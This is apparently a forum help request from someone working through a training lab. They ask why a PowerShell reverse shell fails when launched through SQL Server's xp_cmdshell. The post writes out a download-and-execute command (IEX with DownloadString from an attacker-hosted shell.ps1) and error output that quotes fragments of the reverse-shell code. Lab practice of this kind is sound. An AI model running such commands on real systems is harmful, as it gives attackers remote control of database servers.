It seems the reverse shell throws some errors. I cant quite figure out why. I did a copy from the pdf and changed the IP to match what I was assigned and it dumps this:
SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.152:88/shell.ps1\“);”
output
IEX : At line:3 char:78
-
… Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
-
~
Missing closing ‘)’ in expression.
At line:4 char:1
-
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $ …
-
Unexpected token ‘System.Text.ASCIIEncoding’ in expression or statement.
At line:3 char:47
-
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object - …
-
~
Missing closing ‘}’ in statement block or type definition.
At line:4 char:26
-
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $ …
-
~
Unexpected token ‘)’ in expression or statement.
At line:6 char:81
-
… ding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyt
-
~
Missing ‘)’ in method call.
At line:7 char:1
-
e.Length);$stream.Flush()};$client.Close()
-
Unexpected token ‘e.Length’ in expression or statement.
At line:7 char:9
-
e.Length);$stream.Flush()};$client.Close()
-
~
Unexpected token ‘)’ in expression or statement.
At line:7 char:26
-
e.Length);$stream.Flush()};$client.Close()
-
~
Unexpected token ‘}’ in expression or statement.
At line:1 char:1
-
IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.152:88 …
-
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException + FullyQualifiedErrorId : MissingEndParenthesisInExpression,Microsoft.PowerShell.Commands.InvokeExpressionCommand
NULL
SQL>
Did I mess up something at a point ?